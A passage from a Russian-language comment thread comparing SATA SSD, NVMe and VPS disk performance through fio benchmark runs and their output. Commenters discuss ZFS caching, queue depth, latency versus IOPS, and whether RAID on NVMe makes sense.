[m(8)][1.2%][r=31.9MiB/s,w=10.9MiB/s][r=8166,w=2780 IOPS][eta 19m:01s]\n......\nJobs: 8 (f=8): [m(8)][98.8%][r=26.5MiB/s,w=9120KiB/s][r=6779,w=2280 IOPS][eta 00m:30s]\nJobs: 8 (f=8): [m(8)][98.9%][r=23.3MiB/s,w=7696KiB/s][r=5964,w=1924 IOPS][eta 00m:28s]\nJobs: 8 (f=8): [m(8)][99.0%][r=24.1MiB/s,w=8760KiB/s][r=6170,w=2190 IOPS][eta 00m:26s]\nJobs: 8 (f=8): [m(8)][99.1%][r=26.3MiB/s,w=8936KiB/s][r=6725,w=2234 IOPS][eta 00m:24s]\nJobs: 8 (f=8): [m(8)][99.1%][r=28.9MiB/s,w=9704KiB/s][r=7400,w=2426 IOPS][eta 00m:22s]\nJobs: 8 (f=8): [m(8)][99.3%][r=30.8MiB/s,w=10.3MiB/s][r=7895,w=2627 IOPS][eta 00m:19s]\nJobs: 8 (f=8): [m(8)][99.4%][r=34.2MiB/s,w=11.6MiB/s][r=8745,w=2979 IOPS][eta 00m:16s]\nJobs: 8 (f=8): [m(8)][99.5%][r=36.7MiB/s,w=12.2MiB/s][r=9396,w=3132 IOPS][eta 00m:13s]\nJobs: 8 (f=8): [m(8)][99.6%][r=23.4MiB/s,w=7704KiB/s][r=5986,w=1926 IOPS][eta 00m:11s]\nJobs: 8 (f=8): [m(8)][99.7%][r=29.0MiB/s,w=9.96MiB/s][r=7412,w=2550 IOPS][eta 00m:09s]\nJobs: 8 (f=8): [m(8)][99.8%][r=30.1MiB/s,w=9872KiB/s][r=7709,w=2468 IOPS][eta 00m:06s]\nJobs: 8 (f=8): [m(8)][99.8%][r=25.1MiB/s,w=8844KiB/s][r=6427,w=2211 IOPS][eta 00m:04s]\nJobs: 3 (f=3): [m(2),_(5),m(1)][100.0%][r=34.5MiB/s,w=10.9MiB/s][r=8827,w=2782 IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=8): err= 0: pid=24292: Wed Dec 29 18:21:34 2021\nread: IOPS=6113, BW=23.9MiB/s (25.0MB/s)(60.0GiB/2572268msec)\nclat (nsec): min=740, max=53590k, avg=10697.23, stdev=33246.32\nlat (nsec): min=760, max=53590k, avg=10742.76, stdev=33246.96\nclat percentiles (nsec):\n| 1.00th=[ 1464], 5.00th=[ 1608], 10.00th=[ 1704], 20.00th=[ 1992],\n| 30.00th=[ 11584], 40.00th=[ 12608], 50.00th=[ 12992], 60.00th=[ 13376],\n| 70.00th=[ 13760], 80.00th=[ 14144], 90.00th=[ 15040], 95.00th=[ 15936],\n| 99.00th=[ 20352], 99.50th=[ 24192], 99.90th=[ 79360], 99.95th=[ 95744],\n| 99.99th=[123392]\nbw ( KiB/s): min= 9304, max=314495, per=100.00%, avg=24455.63, stdev=938.24, samples=41127\niops : min= 2326, max=78621, avg=6113.84, stdev=234.56, samples=41127\nwrite: IOPS=2038, BW=8156KiB/s (8352kB/s)(20.0GiB/2572268msec); 0 zone resets\nclat (usec): min=3, max=36815, avg=3888.22, stdev=786.33\nlat (usec): min=3, max=36815, avg=3888.30, stdev=786.33\nclat percentiles (usec):\n| 1.00th=[ 2409], 5.00th=[ 2835], 10.00th=[ 3032], 20.00th=[ 3261],\n| 30.00th=[ 3458], 40.00th=[ 3654], 50.00th=[ 3851], 60.00th=[ 4015],\n| 70.00th=[ 4228], 80.00th=[ 4424], 90.00th=[ 4817], 95.00th=[ 5211],\n| 99.00th=[ 6063], 99.50th=[ 6325], 99.90th=[ 7373], 99.95th=[ 7701],\n| 99.99th=[ 8455]\nbw ( KiB/s): min= 3864, max=106361, per=99.99%, avg=8155.80, stdev=296.32, samples=41127\niops : min= 966, max=26589, avg=2038.88, stdev=74.08, samples=41127\nlat (nsec) : 750=0.01%, 1000=0.04%\nlat (usec) : 2=15.02%, 4=5.93%, 10=0.13%, 20=53.06%, 50=0.68%\nlat (usec) : 100=0.19%, 250=0.05%, 500=0.01%, 750=0.01%, 1000=0.01%\nlat (msec) : 2=0.04%, 4=14.49%, 10=10.35%, 20=0.01%, 50=0.01%\nlat (msec) : 100=0.01%\ncpu : usr=0.08%, sys=1.21%, ctx=5246713, majf=0, minf=146\nIO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%\nsubmit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%\ncomplete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%\nissued rwts: total=15726772,5244748,0,0 short=0,0,0,0 dropped=0,0,0,0\nlatency : target=0, window=0, percentile=100.00%, depth=8\nRun status group 0 (all jobs):\nREAD: bw=23.9MiB/s (25.0MB/s), 23.9MiB/s-23.9MiB/s (25.0MB/s-25.0MB/s), io=60.0GiB (64.4GB), run=2572268-2572268msec\nWRITE: bw=8156KiB/s (8352kB/s), 8156KiB/s-8156KiB/s (8352kB/s-8352kB/s), io=20.0GiB (21.5GB), run=2572268-2572268msec\nУдручающая картина, не правда ли? А теперь внимание, то-же самое для NVME\nNVME> fio --randrepeat=1 --filename=./fio.test --size=10G --direct=1 --rw=randrw --bs=4k --ioengine=sync --iodepth=8 --iodepth_batch_submit=8 --numjobs=8 --group_reporting --name=iops-test-job --eta-newline=1 --rwmixread=75\niops-test-job: (g=0): rw=randrw, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=sync, iodepth=8\n...\nfio-3.27\nStarting 8 processes\niops-test-job: Laying out IO file (1 file / 10240MiB)\nJobs: 8 (f=8): [m(8)][4.1%][r=657MiB/s,w=217MiB/s][r=168k,w=55.7k IOPS][eta 01m:33s]\n........\nJobs: 8 (f=8): [m(8)][96.8%][r=657MiB/s,w=220MiB/s][r=168k,w=56.3k IOPS][eta 00m:03s]\nJobs: 8 (f=8): [m(8)][98.9%][r=657MiB/s,w=217MiB/s][r=168k,w=55.6k IOPS][eta 00m:01s]\nJobs: 8 (f=8): [m(8)][100.0%][r=653MiB/s,w=219MiB/s][r=167k,w=56.0k IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=8): err= 0: pid=22788: Wed Dec 29 19:02:39 2021\nread: IOPS=167k, BW=654MiB/s (685MB/s)(60.0GiB/93995msec)\nclat (usec): min=17, max=8563, avg=43.77, stdev=30.11\nlat (usec): min=17, max=8564, avg=43.80, stdev=30.11\nclat percentiles (usec):\n| 1.00th=[ 38], 5.00th=[ 38], 10.00th=[ 38], 20.00th=[ 39],\n| 30.00th=[ 40], 40.00th=[ 40], 50.00th=[ 40], 60.00th=[ 41],\n| 70.00th=[ 41], 80.00th=[ 43], 90.00th=[ 49], 95.00th=[ 63],\n| 99.00th=[ 135], 99.50th=[ 157], 99.90th=[ 176], 99.95th=[ 184],\n| 99.99th=[ 297]\nbw ( KiB/s): min=635320, max=681120, per=100.00%, avg=669528.73, stdev=1143.75, samples=1496\niops : min=158830, max=170280, avg=167382.17, stdev=285.94, samples=1496\nwrite: IOPS=55.8k, BW=218MiB/s (229MB/s)(20.0GiB/93995msec); 0 zone resets\nclat (usec): min=9, max=8514, avg=10.45, stdev= 5.40\nlat (usec): min=9, max=8515, avg=10.50, stdev= 5.40\nclat percentiles (nsec):\n| 1.00th=[ 9664], 5.00th=[ 9792], 10.00th=[ 9792], 20.00th=[ 9920],\n| 30.00th=[ 9920], 40.00th=[10048], 50.00th=[10176], 60.00th=[10304],\n| 70.00th=[10560], 80.00th=[10944], 90.00th=[11456], 95.00th=[11968],\n| 99.00th=[13504], 99.50th=[14272], 99.90th=[15808], 99.95th=[16768],\n| 99.99th=[19584]\nbw ( KiB/s): min=207440, max=235672, per=100.00%, avg=223287.40, stdev=627.87, samples=1496\niops : min=51860, max=58918, avg=55821.85, stdev=156.97, samples=1496\nlat (usec) : 10=8.24%, 20=16.77%, 50=67.79%, 100=5.81%, 250=1.38%\nlat (usec) : 500=0.01%, 750=0.01%, 1000=0.01%\nlat (msec) : 2=0.01%, 4=0.01%, 10=0.01%\ncpu : usr=1.70%, sys=4.07%, ctx=20977179, majf=0, minf=126\nIO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%\nsubmit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%\ncomplete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%\nissued rwts: total=15726772,5244748,0,0 short=0,0,0,0 dropped=0,0,0,0\nlatency : target=0, window=0, percentile=100.00%, depth=8\nRun status group 0 (all jobs):\nREAD: bw=654MiB/s (685MB/s), 654MiB/s-654MiB/s (685MB/s-685MB/s), io=60.0GiB (64.4GB), run=93995-93995msec\nWRITE: bw=218MiB/s (229MB/s), 218MiB/s-218MiB/s (229MB/s-229MB/s), io=20.0GiB (21.5GB), run=93995-93995msec\nDisk stats (read/write):\nnvme0n1: ios=15717227/5241742, merge=0/2, ticks=667570/47502, in_queue=715089, util=99.91%\nNVME выдаёт 220к 4к IOPS в сумме (r+w). При этом Samsung заявляет о 1М IOPS.Видимо не 4К IOPS.\nВ общем врут. Вернее \"грамотно преподносят информацию\".", "Тот же супермикро вполне себе заявляет поддержку в однопроцессорной системе без доп ограничений. Даже для двухпроцессорных систем поддержка есть, но в определенных условиях.", "Тесты ZFS могут не говорить о реальной призводительности если неизвестно сколько памяти получил ARC — ZFS очень агрессивен в кэшировании (direct i/o игнорирует), так что если памяти у вас достаточно (32GB или больше) вы меряете производительность самой файловой системы, а не накопителя. Поставьте ограничение на ARC чтобы файл в него точно не влезал, и добавьте `--fsync=1` к `fio` (убедившись что в ZFS не стоит `sync=disabled`) — тогда тест будет более реалистичным.\nС блоками по 4k ситуация очень плохая за счёт организации самого ZFS (дерево, контрольные суммы и вот это всё) — сделайте ramdisk и померяйте, результаты тоже будут не впечатляющими, хотя конечно лучше чем с диском (любым).\n> NVME выдаёт 220к 4к IOPS в сумме (r+w). При этом Samsung заявляет о 1М IOPS.Видимо не 4К IOPS.\nПотому что они указывают данные не для микса, а отдельно для чтения и записи — на только чтении или записи вы вероятно можете получить почти близко к 1M iops при QD > 32 а то и 128, правда, в ~~вакууме~~ идеальных условиях — т.е. тестируете его в монопольном режиме, причём заточенным под максимум производительности тулом. Вообще странно было бы ожидать от производителя гарантии iops не зная где и как будет использоваться накопитель, может его вообще по USB подключат, поэтому они указывают возможности железа (NVMe + PCIe), а вытянет ли их ваш конкретный сетап — это уже вопрос.\nТеперь вернёмся к NVMe на Hetzner. Я провел тот же тест с файлом в 20G, с блоками по 1M и 4k, всё длительностью 1 минута — думаю это уж точно в кэш не влезло (разве что в SLC на самом накопителе):\nfio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=1m --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10\n[code]\n Jobs: 6 (f=6): [m(6)][20.0%][r=2672MiB/s,w=2636MiB/s][r=2672,w=2636 IOPS][eta 00m:48s]\n Jobs: 6 (f=6): [m(6)][38.3%][r=2862MiB/s,w=2910MiB/s][r=2862,w=2910 IOPS][eta 00m:37s]\n Jobs: 6 (f=6): [m(6)][56.7%][r=2854MiB/s,w=2893MiB/s][r=2854,w=2893 IOPS][eta 00m:26s]\n Jobs: 6 (f=6): [m(6)][75.0%][r=2758MiB/s,w=2820MiB/s][r=2757,w=2819 IOPS][eta 00m:15s]\n Jobs: 6 (f=6): [m(6)][93.3%][r=2850MiB/s,w=2865MiB/s][r=2850,w=2865 IOPS][eta 00m:04s]\n Jobs: 6 (f=6): [m(6)][100.0%][r=2745MiB/s,w=2703MiB/s][r=2744,w=2702 IOPS][eta 00m:00s]\n iops-test-job: (groupid=0, jobs=6): err= 0: pid=415743: Wed Dec 29 22:20:30 2021\n read: IOPS=2791, BW=2792MiB/s (2927MB/s)(164GiB/60006msec)\n[/code]\nРазумеется, если я снижаюсь до 4k, то получаем сильное проседание по bandwidth, но если учесть что это виртуалка и на одном хосте их много, то оверхед и общая нагрузка сильно портят картину:\n# fio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10\n[code]\n Jobs: 6 (f=6): [m(6)][20.0%][r=96.8MiB/s,w=97.9MiB/s][r=24.8k,w=25.1k IOPS][eta 00m:48s]\n Jobs: 6 (f=6): [m(6)][38.3%][r=98.9MiB/s,w=99.9MiB/s][r=25.3k,w=25.6k IOPS][eta 00m:37s]\n Jobs: 6 (f=6): [m(6)][56.7%][r=99.7MiB/s,w=99.7MiB/s][r=25.5k,w=25.5k IOPS][eta 00m:26s]\n Jobs: 6 (f=6): [m(6)][75.0%][r=111MiB/s,w=111MiB/s][r=28.4k,w=28.3k IOPS][eta 00m:15s]\n Jobs: 6 (f=6): [m(6)][93.3%][r=107MiB/s,w=106MiB/s][r=27.3k,w=27.2k IOPS][eta 00m:04s]\n Jobs: 6 (f=6): [m(6)][100.0%][r=105MiB/s,w=105MiB/s][r=26.8k,w=26.8k IOPS][eta 00m:00s]\n iops-test-job: (groupid=0, jobs=6): err= 0: pid=415775: Wed Dec 29 22:29:51 2021\n read: IOPS=26.2k, BW=102MiB/s (107MB/s)(6134MiB/60002msec)\n[/code]\nОчевидно что результаты, как вы выразились, \"не впечатляющие\", но если туда поставить обычные (не NVMe) SSD, они станут в несколько раз менее впечатляющими, а если учесть любовь некоторых хостеров строить хосты на ZFS, то всё совсем может оказаться печально (принудительный COW даже на блочных устройствах, компрессия и прочие радости — зато типа \"супер надёжно\").\nДля сравнения — вот результат от OVH (VPS Comfort), где они тоже пишут про NVMe:\nfio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10\n[code]\n Jobs: 6 (f=6): [m(6)][18.3%][r=60.8MiB/s,w=61.6MiB/s][r=15.6k,w=15.8k IOPS][eta 00m:49s]\n Jobs: 6 (f=6): [m(6)][36.1%][r=63.4MiB/s,w=62.5MiB/s][r=16.2k,w=16.0k IOPS][eta 00m:39s]\n Jobs: 6 (f=6): [m(6)][52.5%][r=62.7MiB/s,w=62.5MiB/s][r=16.0k,w=16.0k IOPS][eta 00m:29s]\n Jobs: 6 (f=6): [m(6)][68.9%][r=61.9MiB/s,w=62.5MiB/s][r=15.8k,w=16.0k IOPS][eta 00m:19s]\n Jobs: 6 (f=6): [m(6)][85.2%][r=61.0MiB/s,w=62.5MiB/s][r=15.9k,w=16.0k IOPS][eta 00m:09s]\n Jobs: 6 (f=6): [m(6)][100.0%][r=63.0MiB/s,w=62.5MiB/s][r=16.1k,w=16.0k IOPS][eta 00m:00s]\n iops-test-job: (groupid=0, jobs=6): err= 0: pid=3963560: Wed Dec 29 22:11:02 2021\n read: IOPS=15.0k, BW=62.4MiB/s (65.4MB/s)(3743MiB/60003msec)\n[/code]\nОчень похоже что что они ограничивают iops до 16k (слишком ровные результаты), соответственно при блоках в 4k сильно проседает и bandwidth. То же самое для 1M:\nfio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=1m --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10\n[code]\n Jobs: 6 (f=6): [m(6)][19.7%][r=1048MiB/s,w=1055MiB/s][r=1047,w=1054 IOPS][eta 00m:49s]\n Jobs: 6 (f=6): [m(6)][36.1%][r=979MiB/s,w=940MiB/s][r=979,w=940 IOPS][eta 00m:39s]\n Jobs: 6 (f=6): [m(6)][52.5%][r=1052MiB/s,w=961MiB/s][r=1051,w=961 IOPS][eta 00m:29s]\n Jobs: 6 (f=6): [m(6)][68.9%][r=1057MiB/s,w=961MiB/s][r=1056,w=961 IOPS][eta 00m:19s]\n Jobs: 6 (f=6): [m(6)][85.2%][r=1059MiB/s,w=1006MiB/s][r=1058,w=1005 IOPS][eta 00m:09s]\n Jobs: 6 (f=2): [f(1),m(1),f(3),m(1)][96.8%][r=973MiB/s,w=1050MiB/s][r=973,w=1049 IOPS][eta 00m:02s]\n iops-test-job: (groupid=0, jobs=6): err= 0: pid=3963793: Wed Dec 29 22:13:57 2021\n read: IOPS=1000, BW=1000MiB/s (1049MB/s)(58.7GiB/60036msec)\n[/code]\nТут уже видно что идёт ограничение по bandwitdh (слишком уж \"ровно\" оно на протяжении всего теста) — и это в два-три раза менее впечатляюще чем у Hetzner.\nСобственно, я и тесты-то сделал не чтобы показать что в виртуалке можно получить максимум от NVMe — за счёт виртуализации это практически невозможно (очень большой оверхед по дороге к накопителю, особенно если виртуалок много), но использование NVMe вполне оправданно — потому что без них всё будет намного хуже, как минимум в разы, а на загруженных по i/o хостах может даже на один-два порядка — по той простой причине что условные 500K iops на NVMe дадут по 50k iops на десяти виртуалках, в то время как не менее реалистичные 100k на \"обычных\" SSD дадут соответственно по 10k, да и скорость поделится соответственно.\nВ качестве иллюстрации оверхеда (домашний сервер, PNY CS3030 1T как накопитель, KVM в proxmox), на этот раз на чтении:\nfio --filename=/dev/sda --size=20G --direct=1 --rw=randread --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10 --readonly\n[code]\n Jobs: 6 (f=6): [r(6)][20.0%][r=592MiB/s,w=0KiB/s][r=152k,w=0 IOPS][eta 00m:48s]\n Jobs: 6 (f=6): [r(6)][38.3%][r=591MiB/s,w=0KiB/s][r=151k,w=0 IOPS][eta 00m:37s]\n Jobs: 6 (f=6): [r(6)][56.7%][r=588MiB/s,w=0KiB/s][r=150k,w=0 IOPS][eta 00m:26s]\n Jobs: 6 (f=6): [r(6)][75.0%][r=596MiB/s,w=0KiB/s][r=152k,w=0 IOPS][eta 00m:15s]\n Jobs: 6 (f=6): [r(6)][93.3%][r=595MiB/s,w=0KiB/s][r=152k,w=0 IOPS][eta 00m:04s]\n Jobs: 6 (f=6): [r(6)][100.0%][r=596MiB/s,w=0KiB/s][r=152k,w=0 IOPS][eta 00m:00s]\n iops-test-job: (groupid=0, jobs=6): err= 0: pid=15829: Wed Dec 29 22:44:38 2021\n read: IOPS=150k, BW=586MiB/s (614MB/s)(34.3GiB/60001msec)\n[/code]\nЭто гораздо более впечатляюще чем у Hetzner, но — это сервер на котором нет нагрузки, он фактически простаивает, да и процессор на нём в пару раз пошустрее (а он важен для пути накопитель=>lvm=>vm и обратно). Теперь тот же fio на хосте через LVM который подцеплен к виртуалке:\nfio --filename=/dev/mapper/npve-vm--222--disk--0 --size=20G --direct=1 --rw=randread --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10 --readonly\n[code]\n Jobs: 6 (f=6): [r(6)][19.7%][r=893MiB/s][r=229k IOPS][eta 00m:49s]\n Jobs: 6 (f=6): [r(6)][36.1%][r=886MiB/s][r=227k IOPS][eta 00m:39s]\n Jobs: 6 (f=6): [r(6)][54.1%][r=892MiB/s][r=228k IOPS][eta 00m:28s]\n Jobs: 6 (f=6): [r(6)][72.1%][r=889MiB/s][r=228k IOPS][eta 00m:17s]\n Jobs: 6 (f=6): [r(6)][90.2%][r=893MiB/s][r=229k IOPS][eta 00m:06s]\n Jobs: 6 (f=6): [r(6)][100.0%][r=900MiB/s][r=231k IOPS][eta 00m:00s]\n iops-test-job: (groupid=0, jobs=6): err= 0: pid=2993571: Wed Dec 29 22:46:47 2021\n read: IOPS=229k, BW=895MiB/s (938MB/s)(52.4GiB/60001msec)\n[/code]\nКак видите, просто за счёт того что это виртуалка, мы уже теряем около 40%(!) — и это она одна, другой нагрузки в системе нет и даже отключены все митигации как на хосте так и на виртуалке (mitigations=off) — разумеется если виртуалок с десяток или два, они что-то делают, а поскольку это хостер то и митигации по полной программе — мы просядем ещё больше, но это проседание будет намного менее заметным чем в случае SATA/SAS.\nТак что если кто-то говорит что \"VPS получит скорость NVMe\" — он скорее всего таки врёт, но если этот кто-то говорит \"на наших хостах стоят NVMe и это сильно повышает производительность [чем если бы стояли SATA/SAS]\" — то это всё же скорее всего правда — об этом говорит и опыт с хостерами, и собственный (правда, не на Hyper-V).\nПро RAID для NVMe тоже смешанные чувства — конечно, \"один раз не считается\", но я для эксперимента делал softRAID1 (mdadm) на двух потребительских NVMe (PNY CS3030 1T, посаженных на один PCIe x16 слот в X470D4U + Ryzen 3600X), разницы в скорости практически не было (при записи), рандомное чтение было быстрее но не помню на сколько — и это совсем не серверное железо. Увы, это было относительно давно, сборки уже нет, а результаты я не сохранял — но успех этого эксперимента позволяет мне верить что заявленное Hetzner наличие RAID 10 на их cloud серверах очень реалистично, вопреки выводам в статье про невозможность (или нецелесообразность) RAID на NVMe.", "> NVMe вроде хвалят за низкую латентность.\nпри времени доступа к nand >>50 мкс задержки шины уже особой роли не играют", "А почему вы считаете что softRAID1 (mdadm) на двух потребительских NVMe должен давать увеличение производительности? Это ведь зеркало, оно надежность увеличивает. А производительность — та же, даже падает немного.", "> но нам важно, чтобы виртуальная машина попала на ту NUMA-ноду, CPU которой обслуживает NVME диск, на котором расположен образ VM. В этом случае для обращения к диску виртуальной машине не потребуется задействовать UPI линии.\nа зачем вам вообще двухядерные серверы?", "Человек хочет параллельного чтения с дисков при рейд 1. Кейсы где только чтение и в большом количестве существуют. Но для текущих вычислительных систем чтение 7гб/с (pcie4x4) для нвме практически нецелесообразно увеличивать. Гораздо лучше обеспечить горизонтальный рост, вместо вертикального.", "Все немного сложнее получается. Появляется дополнительный программный слой и дополнительный аппаратный (контроллер).\nТолько вчера читал тестирование PostgreSQL 2014 года и на SATA у них было что-то там 50 тыс. tps, а на NVMe 400 тыс. tps, а в RAM если диск держать 1500 тыс. tps.\nЛюди смотрят на такие бенчмарки и хотят, конечно, NVMe и почти x10 к работе базы.", "> Появляется дополнительный программный слой и дополнительный аппаратный (контроллер).\nвы про sata?\nтак и nvme не обходится без программного слоя )\nда, на один контроллер в цепочке cpu — nand в случае nvme меньше, но узким местом является не наличие контроллера само по себе, а достаточно узкая шина между ним и накопителем.\n> Только вчера читал тестирование PostgreSQL 2014 года и на SATA у них было что-то там 50 тыс. tps, а на NVMe 400 тыс. tps, а в RAM если диск держать 1500 тыс. tps.\nну это очень специфичная нагрузка, почти наверняка синтетика.\nноги растут из hdd: в те времена запросы накопители обрабатывали долго, накапливалась очередь. так как время доступа определяется механикой, то единственным способом улучшить производительность было увеличение числа шпинделей, а большие очереди — с одной стороны нормой, с другой — единственным способом утилизировать потенциальную производительность дисковой системы.\nс приходом ssd ситуация в корне поменялась, среднее время доступа из 5-10 мс стало 50-100 мкс, то есть на два порядка ниже (притом, как я писал выше, оно определяется nand, и особо не зависит от интерфейса); плюс оно практически не растёт до до некоторого порога нагрузки (на hdd оно растёт лавинообразно при qd>1 на шпиндель), в результате выигрыш в производительности в сравнении с hdd несколько порядков.\nв итоге, до некоторой (и достаточно большой для реальной жизни) нагрузки все ssd независимо от интерфейса примерно одинаковы, потом сдаётся sata, потом sas, ну а у nvme самый высокий потенциал.\nну так вот, привычка тестировать дисковую подсистему с глубиной очереди 100500 никуда не делась со времён hdd, только к реальным нагрузкам это тестирование имеет мало отношения.\nусловная аналогия: мы сравниваем суперкары по скорости разгона с 200 км/ч до 300 км/ч, да, это сравнение покажет какой кар круче, но к скорости передвижения в городском потоке это будет иметь мало отношения (скорость разгона до 80 км/ч, более актуальная в городе, у них, скорее всего, окажется примерно одинаковой).\nP. S. весь этот текст был про случайный доступ, на последовательном sata сдаётся достаточно рано, на каких-нибудь бэкапах разница между sata и sas/nvme может быть видна невооружённым глазом.\nP. P. S. с другой стороны, сегодня nvme накопители обычно стоят примерно как sata, поэтому выбирать sata никакого смысла нет. sas ssd же вообще для меня какая-то экзотика )", "Вот для примера латентность на корпоративном SSD Intel вот отсюда.\nВот еще пример того же источника, что разные SSD могут себя сильно по разному вести при записи.\nА это пример пользовательского SSD, у которого латентность 5 мс (как у HDD) уже при 25 тыс. IOPS.\nЛатентность - важная величина. NVMe для баз данных именно за нее и выбирают (NAND-то одинаковая и в SATA и в NVMe). Поэтому её стоит приводить в бенчмарках.", "> А это пример пользовательского SSD, у которого латентность 5 мс (как у HDD) уже при 25 тыс. IOPS.\nтак это не sata виновата, это накопитель такой )\nзапустил на своём s3510 чтение в 4 потока, получил 30к iops и задержки 130 мкс. в 8 потоков 150 мкс. в 16 250 мкс (вот тут уже начал насыщаться контроллер на ssd; напоминаю, что это накопитель начального уровня).\nзаметьте, до насыщения шины ещё далеко, она не утилизирована ещё и наполовину, так что дело точно не в шине, а в самом накопителе.\n> Латентность — важная величина. NVMe для баз данных именно за нее и выбирают (NAND-то одинаковая и в SATA и в NVMe). Поэтому её стоит приводить в бенчмарках.\nна самом деле время доступа/иопсы/мегабайты в секунду элементарно пересчитываются друг в друга.\nиз теста в предыдущем абзаце 130 мкс задержки в 4 потока на блоках 4 КБ эквиваленты 4/130e-6 ≈ 30к iops или же 120 МБ/с.\nнапомню, что я изначально написал\n> при времени доступа к nand >>50 мкс задержки шины уже особой роли не играют\nпри qd=1 время доступа чтения будет примерно 100 мкс что на sata, что на nvme накопителях.\nи при qd=4, и при qd=8 тоже, я вам показал. и даже при qd=16 цифры сопоставимы.\nда, при qd=1024 время доступа у nvme будет в разы меньше (а иопсы пропорционально выше), но если у вас на сервере qd=1024, то, скорее всего, что-то пошло не так.\nна своих нагрузках разницу между sata и nvme накопителями в БД я вижу только в задачах вроде бэкапов; в типичной нагрузке на базу данных (если там нет seqscan'ов) разницы нет.\nвпрочем, повторюсь, сейчас sata ssd по сути уже не дешевле nvme, так что смысла выбирать sata нет.", "Зная IOPS можно узнать и пропускную способность, умножив IOPS на размер блока. 30 000 IOPS x 4K = 120 000 K/s. = 117 MB/s.\nА вот как латентность вычислить из IOPS? Графики выше явно говорят, что зависимость не линейная, т.е. вычислить латентность из IOPS нельзя.\nВернее так, если у вас бенчмарк имеет глубину 1 и 1 очередь, то да, время за которое у вас выполнится одна операция и придет подтверждение ее выполнения и является латентностью по определению. Т.е. 1/(число IOPS) = время 1 операции.\nПо мере роста глубины и потоков у вас латентность становится больше среднего времени выполнения операций за некоторое время. Т.е. вычислять латентность при Q>1 и T>1 делением 1 на IOPS нельзя.", "IOPS=QD/latency\nнебольшая ошибка набегает из-за усреднений, но обычно это единицы процентов.", "Выполнил пример для Hetzner NVMe на Intel DC S3500 SATA, подключенным как JBOD через контроллер. Proxmox, ZFS, LXC, CentOS8.\n`fio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10`\nРезультат в 3 раза ниже, чем у вас:\nlatency 31 мкс, IOPS 10k, bw 40 MB/s\nЕсли бы вместо LXC был KVM, еще бы в 1.5-2 раза упало бы все.\nПравда конечно бы на актуальных SSD сравнить c SATA и NVMe. Но похоже что да, есть смысл в NVMe.\nЗ.Ы. При использовании Proxmox ZFS выбирают за бесплатные снапшоты с локальных дисков для контейнеров, а не за супернадежность.", "Больше процессоров в одном юните", "Postgres там наверняка тестировали \"стандартным\" pgbench.\n> ну так вот, привычка тестировать дисковую подсистему с глубиной очереди 100500 никуда не делась со времён hdd\nС малой глубиной ни о каких 1+ млн. IOPS или 7 ГБ/c не может быть и речи. Так что это не привычка, а маркетинг -)", "[code]\n fio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=10 --iodepth_batch_submit=10 --runtime=60 --numjobs=1 --time_based --group_reporting --name=iops-test-job --eta-newline=10\n[/code]\nРезультаты\n[code]\n read: IOPS=763, BW=3056KiB/s (3129kB/s)(183MiB/61231msec)\n slat (usec): min=4, max=785, avg=47.21, stdev=34.87\n clat (usec): min=6, max=10070k, avg=5071.20, stdev=190536.81\n lat (usec): min=273, max=10070k, avg=5118.44, stdev=190537.01\n clat percentiles (usec):\n | 1.00th=[ 343], 5.00th=[ 388], 10.00th=[ 408],\n | 20.00th=[ 433], 30.00th=[ 449], 40.00th=[ 465],\n | 50.00th=[ 478], 60.00th=[ 490], 70.00th=[ 502],\n | 80.00th=[ 519], 90.00th=[ 545], 95.00th=[ 570],\n | 99.00th=[ 1254], 99.50th=[ 1319], 99.90th=[ 2008],\n | 99.95th=[2164261], 99.99th=[9999221]\n bw ( KiB/s): min= 280, max=38896, per=100.00%, avg=18225.65, stdev=14831.77, samples=20\n iops : min= 70, max= 9724, avg=4556.40, stdev=3707.93, samples=20\n write: IOPS=759, BW=3037KiB/s (3109kB/s)(182MiB/61231msec); 0 zone resets\n slat (usec): min=8, max=10069k, avg=1263.95, stdev=100212.07\n clat (usec): min=21, max=10070k, avg=6754.43, stdev=231949.00\n lat (usec): min=262, max=10070k, avg=8018.41, stdev=252641.24\n clat percentiles (usec):\n | 1.00th=[ 347], 5.00th=[ 383], 10.00th=[ 408],\n | 20.00th=[ 433], 30.00th=[ 449], 40.00th=[ 465],\n | 50.00th=[ 478], 60.00th=[ 490], 70.00th=[ 502],\n | 80.00th=[ 519], 90.00th=[ 545], 95.00th=[ 570],\n | 99.00th=[ 1254], 99.50th=[ 1319], 99.90th=[ 2024],\n | 99.95th=[ 7415530], 99.99th=[10133439]\n bw ( KiB/s): min= 